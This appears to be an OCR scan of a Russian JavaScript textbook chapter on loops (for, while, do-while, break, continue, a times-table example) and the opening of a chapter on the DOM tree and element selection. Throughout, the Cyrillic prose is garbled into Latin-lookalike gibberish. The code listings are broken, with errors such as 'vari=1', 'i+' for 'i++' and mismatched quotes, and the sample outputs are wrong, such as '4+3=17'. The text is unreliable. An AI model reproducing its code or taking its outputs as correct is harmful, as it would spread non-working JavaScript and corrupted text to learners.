Hble B pUrypHbIX cKOBKax).



for (vari=0; i< 10; i++) {
document.write(i);

}

aaem1k9 10 <107

8<10? “p“6aan9\e"'1 K8 9<10? W62

3anucbiBaeM
Ha CTPaHuULUYy:

3anucbiBaeM
Ha CTpPaHuULYy:

i=8 i=9 i=10 KoHel
MepemeHHas i MoXeT nc- Korga BbinosHEHWE KOMaHZ, Kak Tonbko ycnoBue nepecta-
Nno/1b30BaTbCHd BHYTPU LUK a. 3aBeEpLUNTCH, 3Ha4YeHue ne- eT C06}1IOAaTbCH (ﬂBﬂﬂTbCﬂ
3pecb OHa NpuMeHseTcs AN pemMeHHOW i byaeT yBemye- WUCTUHHBIM), paboTa unkna
3anucKu Yyncaa Ha ctpaHuue. HO Ha 1. npekpawaetcsa. CueHapum

nepexoanT K BbINOJIHEHUIO
cneaytowen CTpoku Koaa.

PELUEHUA N LNKJbI



OCHOBHbIE KOHLUENLNI,
CBA3AHHDbIE
C NCIMOJIb3OBAHNEM

LKJ10B

Mpu paboTe C UMKAaMU cnegyeT yYNUTbIBaTb TPU BaXKHbIX
MoMeHTa. OHU NPOUNNIOCTPUPOBAHbI Ha CNeayoLnX

Tpex cTpaHuuax.

KJTKOYEBBLIE CJTOBA

Kak npaBuno, npu paboTe
C UMKAAMU MPUMEHSIIOTCA
Ba K/NOYEBbIX C/10BA.

break

3T0 KNtoYeBOE C/I0BO Bbl-
3blBaeT 3aBeplleHne LmKaa
W AaeT KOMaHAY UHTepnpe-
TaTopy nepeiTu K nepson
VHCTPYKLUN, HaxoasaLen-
cs 3anpeaenamu Lukna
(Taknm xe o6pasom c/oBO
break npumeHseTcs U B GyH-
KLMAX).

continue

3T0 K/1loueBOE C/I0BO AaeT
KOMaHAy nHTepnpeTtaTopy
npoAoaXaTb TeKYLLYo
unTepayuio, a 3aTeM BHOBb
nposepuTh ycnosue (ecaun
ycnoeue paBHO true, Ko Bbli-
nosHAeTCcsa CHOBa).

PELWWEHWNA N LUUKIIbl

LUMKJIbl U MACCUBbI

LUunknbl oyeHb yp,06HbI, ecnu
Bbl XOTUTE MPUMEHUTb O4UH
N TOT Xe KOA K Ka>gomy
3/1EMEHTY MaccuBa.

Hanpumep, Bam moxeT
notpeb6oBaTbCs BbIBECTU Ha
CTpaHuLy 3HaYeHUs BCEX
3TUX 3/1IEMEHTOB.

Ecau npu HanucaHum cue-
Hapus Bbl ELLLE HE 3HAETe,
CKO/IbKO 31eMeHTOB byaeT
B MaccuBe, To Npu paboTe
KOZAa Bbl MOXETE NPOBEPUTL
obLee KOMYECTBO TaKo-
BbIX B LMKJIe. DTO 3HaYeHUNe
3aTeM HY>XXHO UCMNO/b30-
BaTb B CYETUMKE, YTOObI
yKasaTb, CKOJIbKO pas A0/1-
>KEH BbIMOMIHATLCA TOT UK
MHoM Habop KOMaHA.

Kak Tonbko unkn otpabo-
TaeT Hy>KHOEe YNC/I0 uTepa-
LW, OH OCTAHOBUTCA.

MPOBJIEMbI
C nMPON3BOAN-
TEJIbBHOCTbIO

Ba>kHO NMOMHUTb, YTO KOrAa
6paysep BCTpeyvaeT Koz
JavaScript, oH npekpaliaeTt
nobble Apyrue onepauynu
A0 Tex nop, Noka He 3aKoH-
ynT 06paboTKy cueHapus.

Ecnv Baw ynkn pabotaet

C He6O/bLLINM KOMYECTBOM
3/IEMEHTOB, TO HUKAKUX
npo6siem He BO3HUKHeT. Ho
€C/IM 3/TeMEHTOB MHOXeC-
TBO, 3arpy3Ka CTpaHuLbl
MOXeT 3HaYMTesIbHO 3a-
MeANUTbCS.

Ecnv ycnosue HUKorga He
Bo3BpalaeT false, TO Mbl
MMeeM A€o C Tak HasbiBa-
eMbIM 6eCKOHEYHbIM LMK~
s1oM. Kog ycnosus byaeT
BbIMOJIHATLCSA A0 TeX Nop,
noka 6bpaysep He nspacxo-
AyeT BCIO OCTYMHYO Na-
maTb (B pesynbTaTe paboTa
cueHapus aBapuinHo 3aBep-
wunTca).

OnpepensinTe nepeMeHHyto
BHE LNK1a BCAKUI pas,
Korsa Bbl MOXeTe cAenatb
3TO U KOTrAa BHYTpM LMKANa
OHa He nsmeHsietcs. Ecnn
onpeAennTb ee BHYTpU
LMKANa, TO NpU Kaxaown
nTepauum aTa nepemMmeHHas
byaeT nepecynTbIBaTHCS,
YTO O3HaYaeT /INLLb HEHY K-
HYl0 TPaTy pecypcosB.



NCTIOJIb3SOBAHUE
LKJ1OB FOR

JAVASCRIPT c04/js/for-loop.js

var scores = [24, 32, 17]; // Maccus 6annos

var arrayLength = scores.length; // InemenTsl MaccuBa
var roundNumber = 0; // Tekywuit 31an
varmsg="; // Coobuienne

vari; // CueTymk

// Unkn 06pabarbiBaet anemeHTs! Maccusa
for (=0; i <arrayLength; i++) {

// MaccuBbl umeloT ocHoBakve 0 (noaTomy 3Tan 0 uZeT nepabim)
// Npubasnsem 1 k Tekywemy rany
roundNumber = (i +1);

// 3anucbiBaem Tekyluii 31an B coobLieHue
msq +='Round ' + roundNumber +": ';

// Monyyaem 6annsl U3 maccusa 6annos
msq += scores[i] +'<br />';

document.getElementById(‘answer').innerHTML = msg;

J1an 1: 24
d1an 2: 32
Bl (1 65 17/

W cueTumk, u maccus HaumHatoTcsa ¢ O (a He ¢ 1). Takum obpa-
30M, ecim Mbl paboTaeMm B LiMKJIe, TO, YTObbI BbiIGpaTh TeKy-
LU 3N1EMEHT U3 MaccuBa, yA406HO MCMOb30BaTb UHAEKC i,
Hanpumep, scores [i]. Ho He 3abbIBaliTe, YTO 3TO YNCJIO MOXKET
6bITb MeHbLLE, YeM Bbl oXkuzaaeTe (Hanpymep: NnepBas UTepa-
uma — O, BTopas — 1u T.4.)

Lwnkn for yacto npumeHseT-
cs ANg nocnefoBaTebHON
06paboTKM 3N1EMEHTOB
maccusa.

B faHHOM npumepe 6annbl
M3 Kax/oro aTana TecTa
CoXpaHsIloTCS B MaccuBe
scores, a 06LLee KO/IMYECTBO
3/1IEMEHTOB MaccuBa —

B arrayLength. 310 yncno
onpeaensieTcs no CBOUCTBY
length maccusa.

3pecb ecTb ewe Tpu nepe-
MeHHble: roundNumber co-
AEp>XMUT HOMep 3Tana TecTa,
msg — coobLieHne ana
BbIBOAA Ha 3KpaH, ai— 3To
cueTuuk (onpegensaerca
BHE LUUKNa).

Linkn HaumHaeTCcs € KNto-
yesoro csioBa for, ganee
VAET yC/IOBUE B KPYT/bIX
ckobkax. Noka 3HayeHne
CYeTYMKa MeHbLUE obLLero
KOJINYeCTBa 3/IEMEHTOB

B MacCuBe, KOJ, Haxoas-
WMinca B GUTrypHbIX CKO6-
kax, byaeT paboTtaTtb 1 aa-
nee. MNpu Kaxgom utepaumm
LMK/la HOMep 3Tana yBenu-
YnBaeTCs Ha egUHULY.

B durypHbix ckobkax 3a-
nuceliBaloTCs NpaBua, no
KOTOpPbIM HOMep 3Tana

M KoNnyecTBO 6ann0B 3anu-
CbIBalOTCA B MepeMeHHYo
msg. [lepeMeHHble, 06DbsIB-
NI emMble BHE LMKa, Tak>Ke
MUCMO/b3YIOTCSA B LMKIIE.

3aTem coaepxumoe nepe-
MeHHOW msg 3anncbiBaeTcs
Ha cTpaHuuy. B aTon ne-
peMeHHOW HaxoaunTCca Koa
HTML, noTomy 34eCb Mbl
nosb3yemMcsi CBONCTBOM
innerHTML. HanomuHaem,
YTO Ha c. 234 obcyxaarTca
npo6nembl 6esonacHocTH,
CBsI3aHHbIe C UCNOIb30Ba-
HMEeM 3TOro cCBOMCTBa.

PELUEHUA N LNKJbI .



NCIMNOJIb3OBAHWE
LNKJ1OB WHILE

3Aecb NpuBeseH Nnpumep
umnkna while. OH BbIBOAUT HA
CTpaHuuy Tabamuy ymHo-
>XeHusa Ha 5. Mpu kaxaon
nTepaumun umMkKna pesynbtaT
elle o4HOro BblYNCAEHUS
3anucbiBaeTCs B NepemMeH-
HYO msg.

Lukn npogonxaet pabo-
TaTb, MOKa yC/I0BME B Kpyr-
NbiX ckobkax cobnwgaercsa
(ocTaeTcs UCTUHHBIM).

B kayecTBe Takoro ycsao-
BUS BbICTYNaeT 3Ha4YeHne
cueTuuka. Noka BeNYUHA
nepemMeHHom i He gocTurna
10, AO/IKHbI BbIMOIHATbLCSA
KOMaHAbl B crieayoLiem
610Ke Koga.

B ykasaHHoM 610Ke Koaa
cozepxaTcs jBe KOMaHAbl.

B nepBoW KomaHAe npume-
HAEeTCA onepaumsa +=, Npu
MoMOLLM KOTOPOW B nepe-
MEHHYI0 msg 3anucbiBaeTcs
KOHTeHT. Mocne kaxzgon
nTepauuu LKA B Hee
nobaenserca pesynbrar
HOBOTO BbIYMCNEHMUA U 3HAK
paspbiBa CTpokK. Takum 06-
pa3om, onepaumio += MOX-
HO CYMTaTb COKPALLEHHbBIM
BapWaHTOM BblpakeHuns
msg = msg + 'new msg'. B KOHLe
CleAyoLEen CTpaHNLbl Mbl
noapobHo pasbepem gaH-
HOe BblpaXkeHue.

BTopasi KomMaHZaa yBenun-
BaeT 3HaYeHMe cyeTynka
Ha eauHuuy (3To genaetcs
BHYTPM UMNK/IA, @ HE B yC-
NoBUN).

Korga paboTta uuknia 3aeep-
LaeTcs, UHTEpnpeTaTop
nepexoauT K CNeayoLLen
CTpoKe KoAa, rae nepe-
MeHHas msg BbIBOAUTCA Ha
cTpaHuuy.

PELUEHUA N LUUKIIbl

c04/js/while-loop.js JAVASCRIPT

vari=1; // YcTaHaBaMBaeM 3HaueHHe CYeTIMKa paBHbIM 1
varmsg="; //CoobueHue

// CoxpaHsiem B nepemMeHHoi TabauLy yMHOXKeHUS Ha 5
while (i< 10) {

msg+=i+'x5="+(i *5)+'<br />

i+

}

document.getElementById(‘answer').innerHTML = msg;

PE3YJIbTAT

1B35=15
2x5=10
B3H5=41'5
4x5=20
50¢hI=125
6ix:51=30
7 x5=35
8x5=40
9x5=45

B AaHHOM NpuMepe yC/IoBUE yKa3blBaET, YTO KOA A0/1KeH
6bITb BbIMOJIHEH €eLLle AeBATb pa3. O6bl4HO UMKk while cneayet
MCMNO/b30BaTb, KOTAA Bbl HE 3HAETE, CKONIbKO pa3 noTpebyeT-
CS BbINOMIHUTb KoA. UTepaunu umkna npoAosxKatoTcs 40 Tex
nop, noka cobatofaercsa ycaosue.



NCTIOJIb3SOBAHUE
LLIMKJ10B DO WHILE

OcHOBHOE oT/INYMe Mexay

JAVASCRIPT c04/js/do-while-loop.js umknamu while v do while
3aK/1l04aeTCA B TOM, YTO BO
vari=1; //YcraHasnusaem 3HaueHue CYeTYMKa pasHbiM 1 BTOPOM C/ly4ae KOMaHabl
varmsg="; // Coobuienue B 6J10Ke KOZA rpegLIecTBy-
toTycnoButo. Takum obpa-
// CoxpaHsem B nepeMeHHoi TabAULY YMHOKEHUS Ha 5 BOMCRHIERIION HICHCAIKA N
do { MUHUMYM OAWH pas, faxe
fMsg+=1+'x5="+ (i *5)+ '<br />'ss ecsin ycnosue He cobto-
e ' fpaeTcs.
}while (i <1); Ecnu BHUMaTeNbHO pac-
// O6partute BHUMaHKe: npu 3HayeHuu 1 Kog npogonKaer pabotarb ERUENTD S0 PAEIELLE;

CTaHOBUTCS NOHATHO, YTO
OHO NMpoBepseT, ABASeTCH
N1 3Ha4YeHne nepeMeHHOM i
MeHbLEe 1, HO Mbl Y>XKe camun
caenanv ee paBHom 1.

PE3YJIbTAT CnepoBaTeslbHO, B 3TOM

npumMepe 3anuncbiBaeTcs
TONIbKO OAHa CTpOKa 13
TabnLbl YMHOXEHMSA Ha 5,
XOTA nepej BbINOHEHUEM
KOZA CYETUUK YKE UMEN
3HayeHue 11 ycnosue He
cobnoganocs.

document.getElementById(‘answer').innerHTML = msg;

=5

HekoTopble nporpamMmucTbl
nuwyT while c HOBOW CTpOKM
nocne GuUrypHom ckobku,
3aKpblBaloOLLEN STOT LUK/

Paszbepem NepByto MHCTPYKLIUIO Ha C/IEAYIOLMX MPpUMepax:

1 2 3 4 5 6
'x 5 =" ;‘<br/>';§
1. bepem nepeMeHHYy msg. 4. 3anucbiBaem CTPOKY x 5 =.
2. [lobaBnsem K Hel cnefyto- 5. 3HayeHne cyeTYMKa YMHO-
Liee 3HaYeHue. >Kaem Ha 5.
3. Yncno B cyeTUmKe. 6. lobaBsisiem paspbiB CTPOKM.

PELLUEHUA N LNKbI



Qno SOn

iPad & 18:07
lili‘ xanadu.myjino.ru

Google  YouTube - Broadcast Yourself ~Apple ~ Wikipedia ~ MonynspHbie v

SN 1O3IHAHMNE!

)
‘H npakTuka ANS Balwero CoO3HaHus

1+3=4
2+3=5
3+3=6
4+3=17
5+3=8
6+3=9
7+3=10
8§+3=11
9+3=12
10+3=13

PELLEHNA U LUKbI



[MPUMEP
PELLEHWNSA U LIMKJTbI

B ;aHHOM NpuMepe Nob30BaTEN0 MOXET
6bITb NOKa3aH pe3ynbtaT b0 CnoxeHus,
IN60 YMHOXEHUSA KOHKPETHOr o Yncna.

B cueHapuu 4eMOHCTpUPYETCH UCMO/b30-
BaHMe JIOFMKU YC/IOBHbIX onepauuii u pabo-
Ta C uMKIamu.

Mprvmep HauMHaeTCs C BYX MEPEMEHHbIX.

1. MepemeHHasa number COAEPXXUT YNC/IO, HAZ KOTOPbIM BYy-
AYT BbINOJIHATLCA MaTemMmaTuyeckme onepauuun. B gaHHom
cnyyae 370 3.

2. MepemeHHas operator ykasbiBaeT, kakoe AeNCTBME A0/K-
HO BbIMOJIHATBCS C YUC/IOM: C/TIOXKEHME UIN YMHOXEHME
(B AaHHOM C/lyyYae BbINOJIHAETCS C/IOXKEHUE).

WHcTpykuus if... else no3BoNsSieT pelunTb, Kakoe AecTBME
COBEpLUNTb C YNC/IOM: CJIOXKEHME NN YMHOXeHMe. Ecan
nepemeHHas operator uMeeT 3HayeHue addition, To yncna
cKknagbiBaloTCs. BNpoTMBHOM C/lyyae oHU NepemMHo-
XatoTca.

BHYyTpu ycnoBHOM onepaumu umka while ucnonblyetcs gns
BblUMCNIEHUA pe3ynbTaTa. OH 6ygeT BbinosHeH 10 pas, Tak
KakK yc/nioBue npoBepsieT, MeHbLLE /I 3HaYeHUe cHeTUnKa,
yem 11.

PELLUEHUA N LNKIbI



[MTPUMEP

PELLUEHNA N LUNKJIbI

c04/example.html

<!DOCTYPE html>
<html>
<head>
<title>Mo3Hanue!</title>
<link rel="stylesheet" href="css/c04.css" />
</head>
<b0dy>
<section id="page2">
<h1>Mo3Hanue</h1>
<img src="images/teacher.png" id="teacher2" alt="" />
<section id="hlackboard"></section>
</section>
<script src="js/example.js"></script>
</b0dy>
</html>

HTML-koa 34€eCb INLLb HE3HAYUTEJIBHO OT/IN-
YaeTCcs OT APYrUX NPUMEPOB U3 3TON FNaBbl:
B AJ@HHOM C/lyyae Mbl 3anucbiBaem Tabanuy
C/I0XKEHUS Ha YepHOW K/1aCCHOWM AocCKe.

PELUEHUNA N LUUKIIbl

CueHapui fo6aBneH Ha CTpaHULy NpSMO
nepej 3akpbiBatoLmMm Terom </body>.



JAVASCRIPT

var table = 3;

var operator = 'addition';
vari=1;

varmsg=";

if (operator ==="addition’) {
while (i<11) {
msg+=i+'+"+table+'="+(i+table) + '<br /5"
i+

}
Telse {
while (i<11) {
msg+=i+'x'+table+"="+(i * table) + '<br />;
i+
}
}

var el = document.getElementByld('blackboard');
el.innerHTML = msg;

MN3yunB KOMMEHTapuu B KoAe, Bbl pasbepe-
Tecb, Kak paboTaeT 3TOT npumep. B camom
Havasie cLeHapvsa 06bSABASAIOTCS YeTbIpe
nepemMeHHble, A1 HAX 3a4al0TCA 3HaYeHUs.
3aTtem nHcTpykuusa if nposepseT, nmeet in
nepemeHHas operator 3HayeHue addition. Ecnn
Tak, TO CLLleHapuii NpuMeHseT 415 BbINO-
HeHWS BblYMCIeHUI LMK while n coxpaHsieT
pe3ysibTaT BbIYUCAEHUI B NepeMEHHON msg.

[MPUMEP
PELLIEHUS 1 LIMKJIbI

c04/js/example.js

// InemeHT Tabauubl

// Tun BblYMCAEHNS

// 3HaueHwe CYeTuMKa yCTaHaBauBaeM pasHbIM 1
// Coobuienne

// Ecnu nepemeHas onepatopa Tpebyer cokeHus
// Noka ele 3HayeHve cyetymka metble 11

// Bbluucnenue

// Nipubaensem 1 k 3HaueHuIo CYeTYMKa

// B NPOTUBHOM CNyyae

// Moka 3HaueHme cyeTyuka eue meble 11
// Bbluucnenue

// Nipubasnsem 1 k 3HaueHuIo CYeTYMKa

// BbiBogMM coobLieHHe Ha CTpaHuLy

Ec/An USMEHUTb 3HaYeHne NnepeMeHHON
operator c addition Ha kakoe-nn6o gpyroe,

TO yC/NOBHasA UHCTPYKLUSA BbibepeT BTopoi
Habop kKomaHa. Tam Takxe 6yaeT HaXo4UTbCA
uukn while, HO y>Ke BbINONHSAOLWNIA YMHOXE-
HWe, a He CZI0XKeHMe.

Koraa paboTa o4HOro 13 LUKJI0B 3aBEpPLUNT-
csl, B NOCNeAHUX ABYX CTPOKaX CLLeHapusa Mbl
BblAE/IUM 3/IEMEHT, Yel id MMeeT 3HadyeHne
blackboard. 3aTem Ha cTpaHuuy 6yaeT BoiBEAE-
HO coZepXXnmoe nepeMeHHOn msg.

PELUEHWA N LUUKIbl



Mpy NOMOLLM YCNOBHbIX MHCTPYKLUN B KOAE MOXHO

NMPpUHNMATDb peLLUEHNA O TOM, YTO A€J1aTb AaJIbLLIE.

Onepauun cpaBHeHUs (===, !==, ==, !=, <, >, <=, =>) UC-
NONb3yTCH A/19 CONOCTaB/EHUSA 3HAYEHNI ABYX One-

paHAoB.

Jlornyeckue onepauumn no3BoasitOT KOM6VIHVIpOBaTb ABa

nnun 6onee HabopoB onepaLmn CpaBHEHUS.

NHcTpyKuum if... else M03BONAIOT BbINOJIHUTL OAUH dpar-
MeHT KOAa, eC/I1 YC/I0BUE NCTUHHO, U APYron — ec/in

JIO>KHO.

MHCTpyKLunn switch N03BONISAOT CpaBHUBATb 3HaYeHue
C BEpPOSATHbIMU pe3ynbTaTamMu (a TakdKe NpeaoCcTaBaAT
BapMaHT AEeNCTBUN MO YMOJIYAHUIO, HA C/Iy4an eCc/in He

byaeT coBnageHUs HU C O4HMM U3 pe3y/ibTaToB).
Tunbl A@aHHbIX MOTYT HEABHO NMPUBOAUTLCA APYT K APYTY.
Bce 3HaueHMs pe3ynbTUPYIOT B KUCTUHA» UIU KJ10XKbY.

CywiecTBYIOT UUKAbI Tpex Tunos: for, while 1 do while.
Ka>kablh U3 HUX MHOIFOKPATHO BbINOJIHAET Habop

KOMaHA,.






Ob6bekTHaa moaenb AokymeHTa (DOM) onu-
CbIBaeT, Kak bpay3sepbl J0/1KHbl MOZENNPOBATb
HTML-cTpaHuuy n Kak a3blk JavaScript moxeT no-
ly4aTb AOCTYM K €e COAEPXKMMOMY N 0OHOBNATL
ero, Noka OHO HaxoAMTCAa B OKHe bpaysepa.

Mogens DOM He aBnsdeTcsa YyacTbto HM HTML, Hu JavaScript. 9To oTaenbHbI Habop
npasua. O6bekTHas MOAeENb JOKYMEHTa peasiv3yeTcs BO BCEX OCHOBHbIX Bpay3epax

1 peluaeT ABa OCHOBHbIX Habopa 3ajau.

CO30AHMNE MOOEJIM HTML-
CTPAHMLUbI

Korga 6paysep 3arpyxaet Beb-cTpaHu-
Ly, OH CO3/jaeT ee MOAe/b B NaMATH.

DOM ykasbiBaeT cnocob, KoTopbiM
6paysep JOXKEH CTPYKTYpMpOBaTh 3Ty
MOJeNb, NCMOJIb3YS Tak Ha3blBaemoe
aepeso DOM.

Mogens DOM HasbiBaeTca 06bEKTHOM,
nockosnbky oHa (aepeso DOM) cocTouT
13 06bEKTOB.

Kaxablh 06beKT COOTBETCTBYET OTAE-
JIbHOMY KOMMOHEHTY CTpaHuLibl, KOTO-
pas 3arpyxeHa B okHe 6pay3epa.

OBbEKTHAA MOLEJ/Ib AOKYMEHTA

JOCTYI K HTML-CTPAHWUE
N EE USBMEHEHWNE

Mogenb DOM Takxe onpeaensieT me-
TOAbl MU CBOWCTBA, MO3BONSAOLME 0bpa-
LLaTbCA K OTAEIbHbIM 06beKkTam Moze-
N 1 0BHOBNATH KaX bl 3 HUX. B cBOMO
oyepeab, 3TV U3MEHeHMs oTpaxkatoTcs
Ha KOHTEHTE, KOTOPbIN MOMb30BaTe b
BUANUT B OKHe Gpay3epa.

MHoraa nporpamMmumCTbl HasbiBatoT
mogenb DOM uHTepgericom nporpam-
MupoBaHus rpuaoxeHmii (APL). Monb3o-
BaTesIbCKNe NHTepdENChbl Aat0T BOSMOX-
HOCTb Ye/10BeKY B3anMMO/elicTBOBaTb

c nporpammamu, a APl no3sonstoT npo-
rpaMmMam 1 cueHapmam obMeHnBaTbCS
nHdbopmaumnein apyr c gpyrom. Moaens
DOM pernameHTUpyeT, Kakyto nHbopma-
LMI0 Balll CLLeHapuii MOXeT 3anpalinsaTb
B Bpaysepe 0 TekyLLen CTpaHuLe v Kak
byaeT coobulaTtb eMy, KaKne n3MeHeHns
HY>XHO BHECTW B KOHTEHT.
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NEPEBO DOM — 2TO
MOLEJIb BEB-CTPAHVILIbI

Korpga bpay3ep 3arpy>aeT Beb-CTpaHuLly, OH CO3/1aeT ee Mo-
aenb. JlaHHag moaenb HasbiBaeTcsa gepesom DOM, oHa xpa-
HUTCSA B NamaTuy bpay3sepa. Aepeso DOM cocToOUT U3 YeTbipex

OCHOBHbIX TUIMOB Y3/10B.

TEJ1O BEB-CTPAHNKLbI

<html>
<body>
<divid="page">

<h1id="header">Cnucok</h1>

<h2>MpopoBonbcTBEHHas naBka</h2>

<ul>
<li id="one" class="hot"><em>cBexunit</em> nnxmp</li>
<liid="two" class="hot">kegpoBbie opewkun</li>
<liid="three" class="hot">nuenuHsiit meg</li>
<li id="four">6anb3amuyecknit ykcyc</li>

</ul>
<script src="js/list.js"></script>
</div>
</body>
</html>
Y3EJ1 JOKYMEHTA Y3J1bl 2JIEMEHTOB
Bbiwe nokasaH HTML-ko4 Ana cnncka nokynok, HTML-31eMeHTbl ONUCbIBAIOT CTPYKTYPY
aHacnefyloLen cTpaHuLe Bbl BUAUTE COOT- Beb-CcTpaHuubl. Hanpumep, B anemeHTax
BeTCTBylOLWee gepeso DOM. KaxAbii anemMeHT, <h1>-<h6> cogep>aTcs 3aroN0BKW, 3/IEMEHTbI
aTpubyT 1 dparmeHT TekcTa B HTML-fokymeHTe <p> OTMeyaloT Hayano 1 OKOHYaHue ab3saues
npeacTaBaeH oTAaeNbHbIM y3/10M DOM. Ha BepLun- B TEKCTE U T.A.
He flepeBa HaxoaAnTCcs y3esa gJokymeHTa. OH npea- [lns gocTyna k aepesy DOM Mbl MLLeM HoBbie
CTaB/seT BCO CTpaHuuy (a Tak>e COOTBETCTBYeT 3NEMEHTbI. Kak TOAbKO HYXHbIi 31eMeHT
ee 06bekTy document), C KOTOPbIM Mbl BliepBble HalAeH, MOXHO 0BpaTUTLCS K ero TEKCTOBbIM
BCTPETUANCE Ha C. 42. y31am 1 y3nam aTpmbyTos. MMeHHo nosTomy
Mpu obpalleHnn K 1lo6oMy 31eMeHTY, aTpuby Ty Mbl HAYHEM @By C U3yYeHUs MeTOA0B, MO3-

WV TEKCTOBOMY Y3/1y Bbl MONajaeTe K HEMY Yepes BOJISIIOLLMX 06paLLaTbCs K y3/1aM 3/1eMEHTOB.
y3en document. Y3en document sBseTCa OTNpaBHOM 3aTem Mbl MOTOBOPUM O TOM, Kak obpalaTs-
TOUKOM ANns BCex obpalleHunii k gepesy DOM. CS K TEKCTY M aTpnbyTam 1 U3MEHSTb UX.

@ OBBEKTHAA MOAENTb AOKYMEHTA



MpumeyaHue. Mbl byaem ncnosib3osaTb
BblLLENPUBEAEHHbI MPUMEpP CO CMMCKOM
MOKYMNOK 1 Aa/iee B 9TOW rNaBe, a TakxXe

B IBYX C/eAyoLmX. Bbl U3yumnTe pasnny-
Hble MpreMbl, N03BoNAl0LLIMe 0bpaLlaTbCa
K 3/1leMeHTaM Beb-CTpaHuLbl ¥ 0OHOBNATH
nx (Kak Bbl MTOMHUTE, BECb KOHTEHT BEO-
CTpaHuUbl NpeacTaB/eH B gepese DOM).

B3anmocsssu mexay y3/70mMm document

M BCEMW Y3/1aMU 3/IEMEHTOB OMUCbIBAOTCA
Mpv MOMOLLIY TEPMUHOB, U3BECTHbIX BCEM
nobuTensm reHeanornmn. 34ecb Mbl Haw-
[eM poANTENbCKME N JOYEPHNE DSTEMEHTHI,
CMeXHble 3/IeMEHTbl, 3/1eMeHTbI-NpeaKu

M 3IEMEHTbI-MOTOMKM. BCe y3/1bl sBAA0TCA
noToMkamu ysna document.

Kax bl y3en — 370 06bekT, 061a4at0LLMin CBOMMN METOAaMM

n ceomctBamu. CueHapum obpatlatotcs kK agepesy DOM n obHoBAS-

0T ero (a He ucxogHbln HTML-ann). Bce nameHeHuss, BHOCUMbIE

B 06beKTHYI MoZe b JIOKYMEHTa, OTpaxatTcs B bpaysepe.

NEPEBO DOM

body
|
document
1
html
|
div — aTpubyT
|
| | | |
hi1 — artpubyt h2 ul script  — aTpmbyT
| |
TeKCT TeKCT
| | | |
li — aTpubyT Li — aTpubyT li — aTpubyTt li — aTpubyTt
r___J_____I I I |
TeKCT TeKCT TeKCT
em TeKCT
|
TeKCT

TEKCTOBbIE Y3J1bl

OB6paTUBLLNCH K Y31y 3/1IEMEHTA, Bbl MOXETE MOy~
YUTb AOCTYM K PACMONOXEHHOMY BHYTPU HEMO TEK-
cTy. OH XpaHUTCS B OTAE/IbHOM TEKCTOBOM Y3/1€.

TeKCTOBble Yy3/1bl HE UMET MOTOMKOB. Ecin ane-
MEHT COAEPXUT TEKCT 1N APYrov JOYepHU ae-
MEHT, TO NoCAeHUN 9BSeTCA MOTOMKOM He Tek-
cTa, a BoiwecTosLyero (06beMIOLLEro) 3ieMeHTa
(Hanpumep, CM. 31IEMEHT em y MEPBOTO 3/1IEMEHTA
li). Tak, Tenepb Bbl 3HAETE, YTO TEKCTOBbIN y3€e/
BCcerga npeacTtasnseT cobon HoByto BeTBb DOM.
OT TeKCTOBOrO y3/1a He OTXOAUT HUKakux bonee
MeNKNX BETBEN.

Y3J1bl ATPNBYTOB

OTkpbiBatowme tern HTML-anemeHToB MoryT
conpoBoXAaTbca aTpnbyTamu. Kaxabln atpnby T
npeacTaB/ieH OTAEebHbIM Y3/10M B AepeBe DOM.

Y3/1bl aTpUBYTOB He SIBASIOTCSH JOYEPHUMM ANS
TOro 3/1eMeHTa, KOTOPbI COMPOBOXAAKOT; OHU
BXOAST B COCTaB 3TOro anemeHTa. Korga bl
obpallaeTech K 31EMEHTY, MCMOb3YOTCS KOHK-
peTHble MeToAbl U CBOMCTBa JavaScript, nossons-
fOLLME CYMUTBIBATD NN U3MEHSATb aTpUBY Thl 3TOrO
3nemeHTa. Hanpumep, 4acTo NnpuxoaAnTCS Me-
HATb 3HayeHns aTpnbyToB class, 419 TOro YTobbI
BbIMOJTHANMCL HOBble MpaBuaa CSS, BansoLwme
Ha npefcTaBieHWe maTepuana Ha CTpaHuLe.

OBBbEKTHAA MOOE/Ib AOKYMEHTA



PABOTA
C JEPEBOM DOM

Aoctyn k gepeBy DOM n obHOBNEHME ero coaep-
KMMOTro NpoXoAUuT B ABa 3Tana:

1) HaxoAUM y3€e/, COOTBETCTBYHOLLNM 3NEMEHTY,
C KOTOPbIM Mbl cObnpaemcs paboTaTb;

2) NCNOb3YyeM TEKCTOBbIN KOHTEHT, IoYePHME
3N1IEMEHTbI N aTpUbYThI.

STAM 1: AOCTYM K 2JIEMEHTAM

Huxe caenaH 0630p MeTOZ0B U CBOMCTB, MCMO/Ib3YeMbIX 4/11 OCTYNA K 3/1eMeHTaM. DTOT Ma-
Tepuan paccmaTpuBaeTcd Ha c. 198-217. B nepBbix ABYX CTO/16Uax nepeyncrieHsl 3anpocsbl DOM.
MocneaHuin cTonbel coaepXnT MeToAbl M CBOMCTBA, NpesHa3HayeHHble Ans 0bxoaa DOM (nepe-
MeLLEeHNS MeXAY 3/IeMeHTamMun).

BbIOEJTEHNE
OTAOEJIbHOTO
Y3J1A
SJIEMEHTA

Huxe nepedymncieHbl Tpu
OCHOBHbIX crocoba Bblgesne-
HUSA OTAE/IbHOTO 3/IEMEHTa.

getElementById()

MeToa ncnonb3yeT 3Ha-
YyeHue naeHTndukaTopa
HY>HOro anemeHTa (BCe
naeHTMdurKkaTopbl — at-
pubyTbl id — Ha CTpaHuue
LOJIKHbI 6bITb YHUKaIbHbI-
Mn). Cm. c. 201.

querySelector()

MeToa ncnonbsyet CSS-
ceflekTop 1 BO3BpaLlaeT
nepBbIZ SN1EMEHT, coaepa-
wmnnm ero. Cm. c. 208.

TakXe MOXHO BblAensdTb
3/IEMEHTbI, Mepexoas oT o4-
HOTO K ApYyromy no gepesy
DOM (cm. TpeTuin ctonbeu).

BbIOEJTEHNE
HECKOJIbKINX
2JIEMEHTOB
(CMNCKWM ¥Y3J10B)

CyLlecTByIOT Tpu pac-
NpoCTpaHeHHbIx cnocoba
BbIAE/IEHNS HECKObKUX
3/1eMeHTOB.

getElementsByClassName()

MeTopa BblaensieT Bce ane-
MEHTbI, 0bnagatoLme KoH-
KPeTHbIM 3Ha4YeHnemM aTpu-
byTa class. Cm. c. 206.

getElementsByTagName()

MeTog Bblaenset Bce
3/1eMeHTbI, obnagatome
yKasaHHbIM MMEHeM Tera.
Cm. c. 207.

querySelectorAll()
MeToga ncnonbsyet CSS-
cenlekTop AN BblAeNeHNs

BCEX 3/1eMEeHTOB, coAepxa-
wmx ero. Cm. c. 208.

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA

MEPEXO[ MO
OEPEBY MEXXOY
Y3JTAMU
SJIEMEHTOB

Mo>HO nepenTn OT 04HOrO
